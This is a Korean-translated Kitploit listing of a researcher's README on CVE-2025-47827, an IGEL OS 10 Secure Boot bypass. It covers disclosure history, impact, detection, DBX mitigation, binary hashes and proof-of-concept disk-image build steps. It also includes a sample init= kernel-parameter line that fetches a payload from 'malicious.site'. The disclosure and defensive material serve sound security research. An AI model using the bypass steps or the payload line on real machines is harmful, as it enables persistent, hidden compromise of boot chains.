Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-47827 — CVE-2025-47827용 PoC 및 취약점 보고서. | Kitploit
도구/GitHubGitHub/zedeldi/cve-2025-47827
Privilege EscalationPersistence MechanismsVulnerability AnalysisExploitationIDS/IPS EvasionPost-ExploitationHardware SecurityPapers & ResearchLearning & EducationFirmware AnalysisBinary Exploitation
4259개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
zedeldi/cve-2025-47827

CVE-2025-47827

CVE-2025-47827용 PoC 및 취약점 보고서.

저장소 보기웹사이트

CVE-2025-47827

GitHub license GitHub last commit CVSS-8.4 CWE-347 CVE-2025-47827 ISN-2025-22 GHSA-pww7-j9v6-xc6j

CVE-2025-47827에 대한 개념 증명 및 취약점 보고서.

목차

  • 설명
  • 공개
  • 영향
  • 탐지
  • 완화 조치
  • 바이너리
  • 개념 증명
  • 리소스

설명

IGEL OS v11 이전 버전에서는 igel-flash-driver 모듈이 암호화 서명을 부적절하게 검증하기 때문에 Secure Boot를 우회할 수 있습니다. 궁극적으로 검증되지 않은 SquashFS 이미지에서 조작된 루트 파일시스템을 마운트할 수 있습니다.

IGEL OS 10의 igel-flash-driver Linux 커널 모듈에서 암호화 서명을 부적절하게 검증하면 악의적인 행위자가 Microsoft 3rd Party UEFI CA가 서명한 shim을 부팅하여 Secure Boot를 우회할 수 있습니다. 이 shim은 IGEL Secure Boot Signing CA가 서명한 GRUB와 취약한 커널을 로드합니다. 취약한 커널과 내장 initramfs가 로드되면 디스크에 있는 검증되지 않은 SquashFS 이미지에서 악성 루트 파일시스템을 마운트할 수 있습니다.

취약한 커널에서는 kexec_load syscall을 사용할 수 있으므로, 현재 부팅된 커널을 완전히 신뢰할 수 없는 커널로 교체할 수 있습니다. 이로 인해 전체 신뢰 체인을 거친 후 사실상 모든 운영체제를 부팅할 수 있게 됩니다.

IGEL OS의 이후 버전에서는 이 모듈이 루트 파일시스템 SquashFS 이미지의 서명을 올바르게 검증합니다. 그러나 취약한 커널과 패치된 버전은 모두 동일한 인증서로 서명되어 있으므로 동일한 shim으로 취약한 버전과 패치된 버전을 모두 부팅할 수 있습니다.

프로세스

부팅 프로세스 다이어그램

분류

CVE-2025-47827의 초기 벡터 문자열은 AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H으로, CVSS 점수 8.4(높음)를 산출했습니다.

2025년 10월 14일, 이 값은 AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H(으)로 변경되어 점수가 4.6(중간)으로 낮아졌습니다.

또한 원래 약점은 CWE-347: 암호화 서명의 부적절한 검증으로 정의되었지만, MSRC에서는 CWE-324: 만료일이 지난 키의 사용으로 분류했습니다.

공개

이 취약점에 대해 2024년 12월 6일과 2025년 3월 31일에 각각 IGEL과 Microsoft에 연락하여 인지시켰으며, 이후 2025년 5월 29일에 세부 정보가 공개되었습니다.

IGEL OS 10은 지원이 종료되었고 취약점이 shim 자체에 존재하지 않으므로, 양측 모두 해결 방안을 제시하지 않았습니다. Microsoft는 다음과 같이 답변했습니다.

조사 결과, IGEL OS v10이 더 이상 지원되지 않고 문제가 shim이 아닌 커널 모듈에 있으므로 이 제출 건은 서비스 대상 보안 취약점의 정의에 해당하지 않는 것으로 확인되었습니다. MSFT 인증서로 서명된 것은 shim뿐입니다.

IGEL은 2025년 6월 2일에 CVE-2025-47827에 대한 보안 공지를 게시했습니다.

2025년 6월 13일, 저는 이 문제를 Microsoft에 다시 보고했고 다음과 같은 응답을 받았습니다.

보고서에 좋은 정보가 포함되어 있긴 하지만, 서비스 대상 보안 취약점에 대한 Microsoft의 요건을 충족하지 못합니다. 보고된 문제는 shim이 아닌 커널 모듈에 있으며, MSFT 인증서로 서명된 것은 shim뿐입니다. kexec는 설계상 이미 Secure Boot 우회를 허용합니다(참조: kexec Command Line in Linux - Linux Expert Better 2025).

이 문제가 부팅 드라이버/구성 요소에 있었다면 MSRC의 서비스 기준을 충족했을 것입니다. 이는 Linux 배포판의 커널 드라이버 취약점입니다. UEFI "ExitBootServices" 이후에 발생하므로 Secure Boot 우회가 아닙니다. 사용자는 부팅이 아닌 OS 수준에서만 코드 실행 권한을 가집니다.

이 취약점에 관한 다양한 뉴스 기사가 게재된 이후, shim 유지 관리자는 Microsoft 및 IGEL과 협력하여 해결 방안을 논의했습니다.

해결 방안이 마련된 후, 저는 2025년 10월 20일에 MSRC에 또 다른 케이스를 생성하여, 이 shim들의 폐기가 지연된 이유, CVSS 벡터 문자열 및 CWE의 수정, 그리고 그들의 업데이트 가이드에 취약점이 공개적으로 공개되지 않았다고 명시된 이유를 문의했습니다. 저는 다음과 같은 응답을 받았습니다.

수정된 IGEL 취약점은 Secure Boot 우회가 아닙니다. 이는 Linux 특유의 커널 무결성 우회이며 Windows에는 영향을 미치지 않습니다. IGEL shim은 오래되어 새로운 SBAT 기반 폐기를 지원하지 않습니다. 따라서 Microsoft는 SBAT로 보호되었던 다른 취약점의 잠재적 악용을 방지하기 위해 폐기를 실시했습니다.

Jeffrey Sutherland, Principal Lead Program Manager는 PR에 답변하여, SBAT가 없기 때문에 shim을 DBX로 폐기해야 했으며, IGEL이 의도하지 않은 결과를 피하기 위해 추가 시간을 요청했다고 설명했습니다. 또한 조정된 취약점 공개에서 요구하는 대로 연구자와 관련 당사자 간의 커뮤니케이션을 유지하지 못한 점에 대해 사과했습니다.

영향

Secure Boot 우회 익스플로잇은 탐지되지 않는 부트킷/커널 레벨 루트킷의 개발로 이어질 수 있으며, 이는 다시 다음과 같은 여러 영향으로 이어질 수 있습니다:

  • 코드 실행
  • 권한 상승
  • 서비스 거부
  • 정보 유출

폐기 또는 수동 개입이 없다면, 작성 시점 기준 대부분의 장치에서 기본값인 Microsoft 3rd Party UEFI CA를 신뢰하는 모든 머신에서 Secure Boot는 무용지물이 되었습니다.

Kexec

kexec에 사용되는 경우, 이 취약점은 Secure Boot에 영향을 주지 않으면서 합법적인 시스템을 은밀하게 악의적으로 수정하는 데 악용될 수 있습니다.

커널

커널을 완전히 교체할 수 있으며, 이를 통해 악성 코드가 커널 레벨에서 실행되어 메모리, CPU, 연결된 장치를 포함한 모든 시스템 리소스에 무제한 액세스할 수 있게 됩니다.

이를 통해 메모리에서 암호화 키를 덤프하고, 악성 프로세스를 제한 없이 실행하며, 맬웨어가 탐지를 회피할 수 있게 됩니다.

매개변수

합법적인 커널의 커맨드라인을 수정하여 보안 모듈을 비활성화하거나 init 매개변수를 변경할 수 있으며, 이를 통해 실제 루트가 마운트된 후 악성 페이로드를 실행할 수 있습니다. 예를 들어(modprobe, DHCP, chmod, 간결성을 위해 생략):```sh init=/bin/sh -- -c "curl http://malicious.site/payload > /path/to/executable; exec /sbin/init"

root@kitploit:~
이는 합법적인 실행 파일을 대체하거나 PID 1을 가로채거나 부팅 시 자동으로
시작되어 쉽게 루트 권한을 얻을 수 있습니다.

`/proc/cmdline`은 [하이재킹](https://wiki.archlinux.org/title/Kernel_parameters#Hijacking_cmdline)될 수 있고,
바인드 마운트를 통해 수정 사항을 숨길 수 있습니다.

자세한 내용은 [Linux 문서](https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html)를
참조하십시오.

### 지속성

필요한 EFI 바이너리와 커널이 존재하고 시스템 펌웨어에서 부팅하도록 구성되어
있는 한 그 영향은 지속됩니다.

운영 체제 업데이트로 인해 부팅 순서나 Secure Boot
금지 서명 데이터베이스(DBX)가 변경되어 바이너리가 실행되지
못할 수 있습니다. 그러나 운영 체제 자체도 손상된 경우,
이러한 교정 조치가 되돌려질 수 있습니다.

또한 EFI 부팅 순서는 운영 체제에서 구성할 수 있으므로,
EFI 변수 수정을 통해 권한 있는 악성코드가
필요한 부팅 파일을 설치하고 부팅 순서를 적절히 구성하여
지속성을 확보하거나
권한을 더 높일 수 있습니다.

## 탐지

이 취약점을 악용하기 위해 완벽한 커널 수준 루트킷이 생성되었다고 가정하면,
실행 중인 시스템에 대한 데이터는 신뢰할 수 없습니다.

탐지 방법은 다음과 같습니다:

- 관련 바이너리의 존재 확인
- 알려진 파일의 서명/무결성 확인 (예: [rkhunter](https://rkhunter.sourceforge.net/))
- 행동 분석, 특히 네트워크 환경에서

최소한 시스템 펌웨어가 부팅하도록 서명된 EFI 바이너리와 IGEL 커널은
손상된 시스템에 존재해야 하지만, 악성 코드가 실행되는
[권한 수준](https://en.wikipedia.org/wiki/Protection_ring)으로 인해
[루트킷](https://en.wikipedia.org/wiki/Rootkit)은 런타임에 자신을 숨길 수 있습니다.

기타 손상 지표는 이 취약점을 악용한 악성코드의 행동에 따라 달라집니다.
예를 들어, 부팅된 커널이 교체되었거나 루트 파일 시스템의 파일이
수정되었거나 예상치 못한 프로그램이 실행될 수 있습니다.

## 완화

> [!IMPORTANT]
> Microsoft는 IGEL과의 합의 후 2025년 10월 20일 관련 shim의 서명을 해지하는
> [서명된 DBX](https://github.com/microsoft/secureboot_objects/releases/tag/1.6.0-signed)를 릴리스했습니다.
>
> Windows 시스템의 경우
> [MSRC 업데이트 가이드](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47827)를 참조하십시오.
>
> [fwupd](https://fwupd.org/)를 사용하여 Linux 기반 시스템을 업데이트하려면
> [Linux Foundation (UEFI Revocation) Secure Boot dbx](https://fwupd.org/lvfs/devices/com.microsoft.dbx.x64.firmware)를
> 버전 `20250902` 이상으로 업데이트하십시오.
>
> 자세한 내용은 [microsoft/secureboot_objects#272](https://github.com/microsoft/secureboot_objects/pull/272)를 참조하십시오.

부팅 체인이 손상되지 않도록 방지하려면 취약한 GRUB/커널 이미지 서명에
사용된 인증서를 해지/신뢰하지 않아야 하며, 영향을 받는 커널(또는 shim)의
SHA-256 해시를 DBX 또는 MOKX 거부 목록에 추가해야 합니다.
자세한 내용은 [NSA 사이버보안국 문서](https://github.com/nsacyber/Hardware-and-Firmware-Security-Guidance/blob/master/secureboot/Linux.md)를
참조하십시오.

또는 초기 shim이 실행되지 않도록 Microsoft 3rd Party UEFI CA를
신뢰하지 않도록 설정할 수 있지만, 이로 인해 다른 합법적인 애플리케이션에
의도하지 않은 중단이 발생할 수 있습니다.
일부 장치는 펌웨어 설정에서 이 옵션을 제공합니다.

[ArchWiki의 sbctl 페이지](https://wiki.archlinux.org/title/Unified_Extensible_Firmware_Interface/Secure_Boot#Creating_and_enrolling_keys)는
다음과 같이 경고합니다:

> [!WARNING]
> 일부 펌웨어는 Secure Boot가 활성화된 상태에서 Microsoft의 키로 서명되고
> 검증됩니다. 장치를 검증하지 않으면 벽돌이 될 수 있습니다.

이는 [Secured-core PC의 기본값](https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/secure-the-windows-10-boot-process#secure-boot)입니다:

> Secure Boot의 기본 상태는 넓은 신뢰 범위를 가지므로, 고객이 필요하지 않을
> 수도 있는 부팅 구성 요소를 신뢰하게 될 수 있습니다. Microsoft 3rd Party UEFI
> CA 인증서는 모든 Linux 배포판의 부트로더에 서명하므로, UEFI 데이터베이스에서
> Microsoft 3rd Party UEFI CA 서명을 신뢰하면 시스템의 공격 표면이 증가합니다.
> 단일 Linux 배포판만 신뢰하고 부팅하려는 고객은 원하는 구성보다 더 많은 모든
> 배포판을 신뢰하게 됩니다. 부트로더 중 하나의 취약점은 시스템을 노출시키고,
> 의도하지 않게 사용한 부트로더에 대한 공격 위험에 고객을 노출시킵니다. 예를
> 들어 최근 취약점에서 볼 수 있듯이 [GRUB 부트로더](https://msrc.microsoft.com/security-guidance/advisory/ADV200011) 또는
> 부팅 구성 요소에 영향을 미치는 [펌웨어 수준 루트킷](https://www.darkreading.com/threat-intelligence/researchers-uncover-dangerous-new-firmware-level-rootkit)이 있습니다.
> [Secured-core PC](https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/OEM-highly-secure-11)는
> 고객에게 가능한 가장 안전한 PC 구성을 제공하기 위해 기본적으로 Secure Boot를
> 활성화하고 Microsoft 3rd Party UEFI CA 서명을 신뢰하지 않도록 구성해야 합니다.

### 측정 부팅

시스템이 IGEL shim으로 부팅되면
[TPM PCR 측정값](https://wiki.archlinux.org/title/Trusted_Platform_Module#Accessing_PCR_registers)이
변경됩니다.

Windows는 기본적으로 BitLocker와 함께 [측정 부팅](https://learn.microsoft.com/en-us/windows/compatibility/measured-boot)을
사용하므로, 예상된 바이너리로 시스템이 부팅되지 않으면 암호화 키에 접근할 수 없습니다.

Linux 기반 시스템에서는 [systemd-cryptenroll](https://wiki.archlinux.org/title/Systemd-cryptenroll)을
사용하여 LUKS 키를 TPM에 등록하고 다양한 PCR(기본적으로 PCR 7)에 바인딩할 수 있습니다.

측정 부팅은 신뢰할 수 있는 환경에서만 암호화 키를 해제하므로 합법적인 OS가
수정되는 것을 방지합니다. 그러나 권한이 없는 OS가 부팅되는 것을 막지는
않습니다. 이는 Secure Boot의 역할입니다.

따라서 OS가 측정 부팅을 사용하더라도 사용자는 여전히 위험할 수 있습니다.
예를 들어:

- Secure Boot를 통과하면서 IGEL shim과 악성 OS를 부팅
- 실제 OS의 외관과 동작을 에뮬레이션
- 사용자가 자격 증명을 입력하면 공격자에게 전송됨
- 선택적으로 합법적인 OS로 재부팅

암호화 키는 TPM PCR 측정값[^1]에 바인딩되어 있으므로 측정 부팅으로 합법적인
OS를 수정할 수는 없지만, 시스템은 여전히 악성 소프트웨어를 부팅할 수 있습니다.

[^1]: BitLocker 복구 키는 TPM에 바인딩되지 않습니다.

### 통합 커널 이미지

[통합 커널 이미지](https://uapi-group.org/specifications/specs/unified_kernel_image/)를
사용하면 모든 부팅 리소스(즉, 커널, 초기 ramdisk, 커널 명령줄 등)를 단일 UEFI PE
파일로 번들할 수 있습니다.
이러한 이미지는 다른 EFI 실행 파일과 마찬가지로 서명할 수 있습니다.
부팅 보안을 강화하고 부팅 체인의 공격 표면을 최소화하려면 통합 커널 이미지를
생성하고 사용자 생성 키로 서명하여 공급업체/OEM 키를 신뢰하지 않도록 하십시오.

## 바이너리

관련 바이너리는 다음과 같습니다:

### 설명

실행 순서:

- `boot*.efi` -> Microsoft가 서명한 shim
- `igel*.efi` -> IGEL이 서명한 GRUB
- `bzImage`   -> Linux 이미지(내장 initramfs), IGEL이 서명

주체 `CN=IGEL Secure Boot Signing CA, O=IGEL Technology GmbH, L=Bremen, C=DE`에 대한
인증서는 [igelboot/shim](https://github.com/igelboot/shim/blob/igel-shim/igel-efi-pub-key.der)에서
찾을 수 있습니다.

이 인증서의 SHA-256 지문은
`5E:AE:E3:E0:EF:AA:58:85:E0:8A:CD:3F:FF:8D:1D:05:72:E0:14:2A:C8:E2:A5:42:A9:8C:9B:D4:2E:76:4D:F6`입니다.

이 바이너리의 서명은 `sbverify`([`sbsigntools`](https://git.kernel.org/pub/scm/linux/kernel/git/jejb/sbsigntools.git/)에서
제공)를 사용하여 확인할 수 있습니다:```sh
# Convert to PEM format
openssl x509 -in igel-efi-pub-key.der -outform pem -out igel-efi-pub-key.pem
# Verify signatures
for image in igel*.efi bzImage; do
  sbverify --cert igel-efi-pub-key.pem "${image}"
done

해시

SHA-256 (udc10.06.220.iso에서):``` 3258be9cede92f0b557391e920750e46134cccc13d3a78e306b630ed7b338b85 bootia32.efi 0c1e0821cef69a0bc2798996c6ce0b60564b2a1a9d67ef89f3059023edab720c bootx64.efi 2a8e546e6bbdbb01f49338b0e3ef22d8fea69aa0a585831b89960610e2e5d9b5 igelia32.efi 5f57a2a40fa6d55d1082e0c87cfea8c77d4f32e38e21fd0b5f2c4d2007ebdf91 igelx64.efi 09e14e4870f93fbfd13b85121cb9f0e4a877dd8d6566bea2d2db8d27e14f1d92 bzImage

root@kitploit:~
[`bootx64.efi`](https://github.com/microsoft/secureboot_objects/pull/272/files#diff-08415e6b0bb62538ad2345360571cf3619be29812066c32df990a84e7d6b7926R4461) 및
[`bootia32.efi`](https://github.com/microsoft/secureboot_objects/pull/272/files#diff-08415e6b0bb62538ad2345360571cf3619be29812066c32df990a84e7d6b7926R5427)의 해시가
DBX를 통해 폐기되었습니다.

## 개념 증명

IGEL OS 설치 ISO를 다운로드하고,
수정된 SquashFS 루트 파일시스템으로 부팅 가능한 디스크 이미지를 추출·생성하는 개념 증명 셸 스크립트가 제공됩니다.

대안으로, 디스크 이미지 대신 ISO를 다시 패킹하고 EFI
시스템 파티션을 이미지에 추가할 수 있습니다. 하이브리드 MBR을 사용하여
레거시 BIOS 시스템 지원을 유지할 수도 있지만, 이는 이 프로젝트의 범위를
벗어납니다. 설치 ISO에는 레거시 시스템용 ISOLINUX 부트로더가 포함되어 있으며,
이는 GRUB `core.img`를 체인로드합니다.

### 오버레이

HTTP를 통해 라이브 Arch Linux 환경을 부팅하는 방법을 시연하기 위해,
예제 오버레이 디렉터리가 제공됩니다.

`init` 스크립트는 커널 커맨드라인 매개변수에서 지정된 커널을 `kexec`로
로드한 다음 재부팅합니다. `--kexec-file-syscall` 대신 `--kexec-syscall`이
전달되면 교체 커널은 서명이 필요하지 않습니다.

GRUB 구성 파일은 EFI 시스템 파티션에 저장되며, 쉽게 수정할 수 있습니다.
커널, initramfs 또는 SquashFS 이미지와 같은 다른 파일을 ESP에 넣어
첫 번째 루트 파일시스템에서 `kexec`로 부팅할 수 있습니다. 이를 통해
로컬에서 다른 시스템을 체인로드할 수 있으며, 매번 ISO를 다시 빌드하지 않고도
일반 시스템처럼 업데이트할 수 있습니다.

또는 필요한 파일을 `curl`로 HTTP를 통해 다운로드한 다음 부팅하여
디스크 이미지를 더 작게 유지할 수 있습니다.

이것은 취약점이 어떻게 악용될 수 있는지 보여주는 무해한 예시이지만,
`init` 스크립트나 `kexec` 커널은 악의적인 동작을 시연하도록
수정될 수 있습니다.

### 의존성

이 스크립트에는 다음 패키지가 필요합니다.

- [`bash`](https://www.gnu.org/software/bash/bash.html)
- [`coreutils`](https://www.gnu.org/software/coreutils/) (`dd`, 그리고 그 외 모든 것)
- [`dosfstools`](https://github.com/dosfstools/dosfstools) (`mkfs.fat`)
- [`igelfs-cli`](https://github.com/Zedeldi/igelfs)
- [`libisoburn`](https://dev.lovelyhq.com/libburnia/libisoburn) (`osirrox`, `xorriso`)
- [`squashfs-tools`](https://github.com/plougher/squashfs-tools) (`mksquashfs`, `unsquashfs`)
- [`sudo`](https://www.sudo.ws/sudo/)
- [`unzip`](https://infozip.sourceforge.net/UnZip.html)
- [`util-linux`](https://github.com/util-linux/util-linux) (`fdisk`, `losetup`)
- [`wget`](https://www.gnu.org/software/wget/wget.html)

이 패키지들은 어떤 배포판이든 공식 패키지 저장소에서 얻을 수 있습니다.

`igelfs-cli`는 [PyPI](https://pypi.org/project/igelfs/)에서 가상 환경에
설치할 수 있습니다:```sh
python -m venv .venv
source .venv/bin/activate
pip install igelfs

사용법```

mkdiskimage: [-s SIZE] [-l LABEL] [-e ESP_OVERLAY] [-r ROOT_OVERLAY] PATH [SQUASHFS]

root@kitploit:~
### 예제

500 MB 디스크 이미지를 빌드하고, `esp`와 `root`의 내용을
EFI 시스템 파티션과 SquashFS에 각각 복사합니다:```sh
mkdiskimage -s "500M" -e "esp" -r "root" "disk.img"

결과 이미지는 Secure Boot가 활성화된 머신을 부팅하며, 이는 Microsoft 3rd Party UEFI CA를 신뢰합니다.

원시 디스크 이미지는 물리적 장치에 기록하거나 가상 머신에서 사용하도록 변환할 수 있습니다.

릴리스

릴리스 페이지에서 부팅 가능한 디스크 이미지 예시와 관련 바이너리 사본을 확인할 수 있습니다.

이 예시에는 수정된 IGEL OS SquashFS 이미지가 포함되어 있으며, kexec로 HTTPS를 통해 Arch Linux를 다운로드하여 부팅합니다. 미러는 GRUB 구성에서 확인할 수 있습니다.

설명

  1. mkdiskimage는 설치 ISO가 포함된 IGEL OS 10 UDC 아카이브를 다운로드합니다.
  2. osirrox로 ISO를 추출하여 EFI 바이너리 ddimage.bin을 얻고, bzImage도 얻습니다.
  3. igelfs-cli를 사용하여 시스템 SquashFS를 ddimage.bin에서 추출한 다음, unsquashfs로 압축을 해제합니다.
  4. 필요한 파일을 생성하고 overlay 디렉터리를 지정하여 파일을 복사할 수 있으며, ESP 또는 SquashFS로 복사할 수 있습니다.
  5. mksquashfs로 SquashFS를 다시 빌드하고, SquashFS를 파티션 #1 (sys)으로 하여 igelfs-cli로 새 ddimage.bin을 생성합니다.
  6. xorriso로 ddimage.bin을 ISO 이미지에 추가합니다.
  7. fdisk로 디스크 이미지를 생성하고 파티션을 나눕니다.

ISO에는 ddimage.bin과 boot_id 파일 힌트만 포함되는 반면, ESP에는 EFI 바이너리와 GRUB용 파일이 포함됩니다.

Buildroot

루트 파일시스템은 buildroot로 생성하여 파일 크기를 크게 줄일 수 있습니다.

bzImage용 커널 모듈은 파일시스템, 네트워킹 등에 대한 지원을 추가하기 위해 SquashFS 이미지에 추가되며, 다른 요구 사항도 함께 포함됩니다.

kexec를 포함하고 init 스크립트가 없는 루트 SquashFS 빌드를 위한 defconfig 예시는 buildroot에서 찾을 수 있습니다. overlay 디렉터리를 사용하여 다른 파일(예: init 스크립트)을 BR2_ROOTFS_OVERLAY 또는 mkdiskimage로 추가할 수 있습니다.

Kexec

kexec 사용자 공간 바이너리는 IGEL OS 10 시스템 파티션에 기본적으로 없으므로, 필요한 경우 패치된 SquashFS 이미지에 추가할 수 있습니다.

kexec 바이너리는 staticx를 사용하여 라이브러리 의존성과 함께 번들링할 수 있으므로, IGEL OS SquashFS 이미지에서 공유 라이브러리가 누락되는 문제를 피할 수 있습니다:```sh staticx "$(which kexec)" "./root/sbin/kexec"

root@kitploit:~
참고: IGEL initramfs `parse_cmdline` 부분 문자열 검색 방식 때문에,
커널 명령줄 _어디에든_ `init`을 지정하면 첫 번째 initramfs가 이를 해석하므로,
`init`은 첫 번째 커널 매개변수를 통해 `kexec` 커널에 전달할 수 없습니다.

### SSL

SSL이 필요한 경우(예: HTTPS), `/etc/ssl/certs/ca-certificates.crt`를
SquashFS 이미지에 추가하십시오.

### 요구 사항

ISO는 첫 번째 파티션이어야 하므로, EFI 시스템 파티션(ESP)이
비일반적으로 파티션 #2가 됩니다. 이는 initramfs `init` 스크립트가
디바이스를 검색하는 방식 때문입니다.
마찬가지로, 설치 시 IGEL OS는 파티션 #2와 #3에 두 개의 ESP를 생성합니다.

GRUB는 `/boot/grub/igel.conf`와 동일한 파일시스템에
`/boot/igel-ud-converter`가 있어야 합니다:```
search --file --set search /boot/igel-ud-converter
set cmdpath=($search)
configfile $cmdpath/boot/grub/igel.conf

bzImage의 내장 initramfs의 init 스크립트는 커널 명령줄에서 전달된 boot_id와 일치하고 점(.)으로 시작하는 파일이 ISO 파일시스템에 존재할 것을 요구합니다. boot_id는 반드시 IGEL_UDC_TO로 시작해야 합니다(예: .IGEL_UDC_TO_210319143827).

이 파일들은 비어 있어도 되지만, 반드시 존재해야 합니다.

SquashFS에는 initramfs init 스크립트를 위한 /igfimage 디렉터리도 있어야 합니다. 그렇지 않으면 루트 전환이 실패합니다.

활용

사용자는 Secure Boot를 구성하지 않고도 의도적으로 이 취약점을 악용하여 자신의 머신에서 Linux 기반 운영 체제를 부팅할 수 있습니다.

또한, 완전한 Linux 환경이 사실상 부트로더로 사용되므로, init 스크립트는 기존 부트로더가 허용하는 것보다 더 복잡한 방식으로 다음 커널 로딩을 처리하도록 사용자 지정할 수 있습니다(예: 네트워킹, 암호화 등). 반면에, 이는 디스크에 저장하는 대신 런타임에 자산을 가져와서 침해 지표를 숨기는 데 악용될 수도 있습니다.

이미 여러 프로젝트에서 이 목적으로 kexec를 사용하고 있습니다(예: kexecboot 및 petitboot).

리소스

취약점 세부 정보:

  • CVE-2025-47827 - CVE 기록
  • ISN-2025-22 - IGEL 보안 공지
  • GHSA-pww7-j9v6-xc6j - GitHub 보안 권고
  • NIST - 국가 취약점 데이터베이스
  • MSRC - 업데이트 가이드
  • CISA - KEV 카탈로그
  • Rapid7 - 취약점 데이터베이스
  • SecAlerts - CVE 알림

완화:

  • DBX PR #272 - 취약한 IGEL shim 폐기
  • DBX Release 1.6.0-signed - 서명된 DBX 릴리스

업데이트 검토:

  • Qualys Threat Protection - 보안 업데이트 검토
  • NHS Digital - 보안 업데이트 검토
  • Windows Forum - 완화 가이드
  • The Register - 업데이트 검토
  • Field Effect - 업데이트 검토

뉴스 기사:

  • Ars Technica - 뉴스 기사 및 논의
  • Computing - 뉴스 기사
  • Eclypsium - 블로그
  • LinuxSecurity - 뉴스 기사
  • SecurityOnline - 취약점 보고서
  • Tech2Geek - 블로그
  • TechSpot - 뉴스 기사
  • Security Affairs - 뉴스 기사
  • The Hacker News - 뉴스 기사

소프트웨어 및 관련 프로젝트:

  • IGEL Software Downloads - 레거시 IGEL OS 다운로드
  • igelboot - IGEL shim 저장소
  • IGEL-Technology - 다양한 IGEL 저장소
  • shim-review #11 - 2017 IGEL shim 검토
  • shim-review #434 - 2024 IGEL shim 검토
  • igelfs - IGEL 파일시스템의 Python 구현

라이선스

CVE-2025-47827은 MIT 라이선스에 따라 누구나 자유롭게 사용, 수정, 공유할 수 있습니다.

이 프로젝트는 유용하게 쓰이기를 바라는 마음으로 배포되지만, 어떠한 보증도 제공되지 않습니다.

[!IMPORTANT] 이 정보를 책임감 있게 사용해 주세요. 이 취약점을 공개하는 것은 사용자에게 조언하고 피해를 _방지_하기 위한 가능한 완화 방법을 제안하기 위함입니다.

좋은 사람이 되세요.

기부

이 프로젝트가 유용하다고 생각하신다면 기부를 고려해 주세요. 얼마든지 크게 감사드립니다! 감사합니다 😃

PayPal

도구 다운로드
  1. ISO -> 파티션 #1 (dd로 기록)
  2. ESP -> 파티션 #2 (마운트 및 복사)